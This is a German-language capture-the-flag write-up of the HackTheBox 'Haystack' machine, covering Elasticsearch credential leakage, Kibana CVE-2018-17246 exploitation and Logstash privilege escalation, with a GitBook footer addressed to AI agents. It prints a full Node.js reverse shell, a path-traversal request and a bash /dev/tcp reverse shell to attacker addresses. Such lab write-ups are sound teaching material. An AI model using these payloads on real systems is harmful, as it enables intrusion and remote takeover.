> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten**: * Enumeration von ElasticSearch * Informationsleck * Kibana-Enumeration * Ausnutzung von Kibana (CVE-2018-17246) * Ausnutzung von Logstash (Privilegienerweiterung) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (9200)

Versionsscan der Ports mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

## Analyse offengelegter Dienste ### Port 80 - Informationsleck **Metadaten mit ExifTool extrahieren**

Durch die Analyse des auf dem Server gefundenen Bildes mit `strings`, entdecken wir eine base64-kodierte Zeichenkette: `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

Nach dem Dekodieren enthüllt diese Zeichenkette die folgende Nachricht: *"die Nadel im Heuhaufen ist 'key'"*.

### Elasticsearch - Informationsleck #### Auf Port 9200 läuft ElasticSearch Version 6.4.2.

{% hint style="info" %} Elasticsearch ist eine Such- und Analyse-Engine in Echtzeit, die verwendet wird, um große Datenmengen schnell zu indexieren und zu durchsuchen. Sie integriert sich in den ELK-Stack, um erweiterte Funktionen zur Datenvisualisierung und Analyse bereitzustellen. {% endhint %}

Durch den Zugriff auf den `/_cat/indices?` URL erhalten wir eine Liste der Indizes mit ihren UUIDs. Um den Inhalt eines Index zu extrahieren, verwenden wir die folgende URL: `http://haystack.htb:9200//_search?pretty=true&size=1000`

**Datenfilterung mit Curl** Unter Verwendung des Index `quotes` und durch Filtern nach dem Challenge-Schlüsselwort werden relevante Informationen gefunden: ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Decodieren von Base64-kodierten Zeichenketten** Wir erhalten zwei base64-kodierte Zeichenketten, die beim Dekodieren die identifizierenden Informationen offenbaren: ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**Benutzer:** `security`/ **Passwort:** `spanish.is.key` ### SSH-Verbindung Mit den erhaltenen Zugangsdaten verbinden wir uns per SSH mit der Zielmaschine und greifen auf den Benutzer zu: ```bash ssh security@10.10.10.115 ```

### Flagge user.txt :)

**Sobald Sie Zugriff auf den Linux-Server haben, sind hier die auszuführenden Befehle für die Terminalbearbeitung:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **Das wird dir ermöglichen, wesentlich effizienter und vor allem komfortabler zu arbeiten.** ## Privilegieneskalation : ### Kibana (Portweiterleitung) **Schritt 1: Identifizieren offener Ports** Zuerst betrachten wir die offenen Ports intern mit dem folgenden Befehl: ```bash netstat -nltp ``` Uns fällt auf, dass der Port **5601** unsere Aufmerksamkeit erregt.

Durch eine `curl` Anfrage an diesen Port erhalten wir eine HTML-Seite von Kibana: {% hint style="info" %} **Kibana** ist eine sofort einsatzbereite Software für Datenvisualisierungs-Dashboards für Elasticsearch {% endhint %}

**Schritt 2: Portweiterleitung für den Zugriff auf Kibana** Wir leiten den internen Port des Servers **5601** auf unsere lokale Maschine um, um über unseren Browser darauf zuzugreifen. Diese Umleitung kann per SSH mit dem folgenden Befehl durchgeführt werden: ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` Dies leitet den lokalen Port 5601 der Zielmaschine auf Port 5601 unserer eigenen Maschine um und ermöglicht direkten Zugriff

**Schritt 3: Kibana-Version überprüfen** Durch den Zugriff auf `http://localhost:5601/api/status`, beobachten wir die Kibana-Versionsnummer: **6.4.2**. Diese Version ist anfällig für einen **Lokales Datei-Inkludieren (LFI)** Angriff, identifiziert als **CVE-2018-17246**.

### Ausnutzung von Kibana (CVE-2018-17246) {% embed url="" %} **Schritt 4: Die Schwachstelle ausnutzen** Um diese Schwachstelle auszunutzen, werden wir eine JavaScript-Datei erstellen, um eine Reverse Shell zu erhalten. Im `/tmp` Verzeichnis der Zielmaschine erstellen wir eine Datei mit dem Namen `rev.js` mit folgendem Code:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Verhindert, dass die Node.js-Anwendung abstürzt
})();

Dieses Skript stellt eine Verbindung mit deiner Maschine auf Port **443** her, um eine Shell zu öffnen. **Schritt 5: Stream-Umleitung in eine Datei** Leite dann den Stream in die `/dev/shm/rev.js` Datei mit dem folgenden Befehl um: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Schritt 6: Auf Port für Reverse Shell lauschen** Starte auf deiner Maschine einen Listener auf Port **443** um die Reverse Shell abzufangen: ```bash nc -nlvp 443 ``` Sobald du angemeldet bist, hast du eine Shell auf der Zielmaschine und kannst eine Privilegienerweiterung durchführen.

## Logstash ausnutzen Wir suchen nach allen Dateien, auf die mit dem Benutzer zugegriffen werden kann `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

Beim Zugriff auf Logstash entdecken wir drei Konfigurationsdateien: * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} Zusammenfassend führt Logstash einen Cron-Job aus, der alle 10 Sekunden überprüft, ob eine Datei mit dem Namen `logstash_*` im `/opt/kibana/` Verzeichnis. Wenn eine passende Datei gefunden wird und einen Befehl mit einer bestimmten Eingabe enthält, in der Form: {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

Um diese Schwachstelle auszunutzen, erstellen wir eine Datei mit dem Namen `logstash_exec` in `/opt/kibana/` Verzeichnis mit folgendem Inhalt erstellt: ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` Anschließend lauschen wir auf Port 4444 und erhalten Root-Zugriff.

### Root-Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.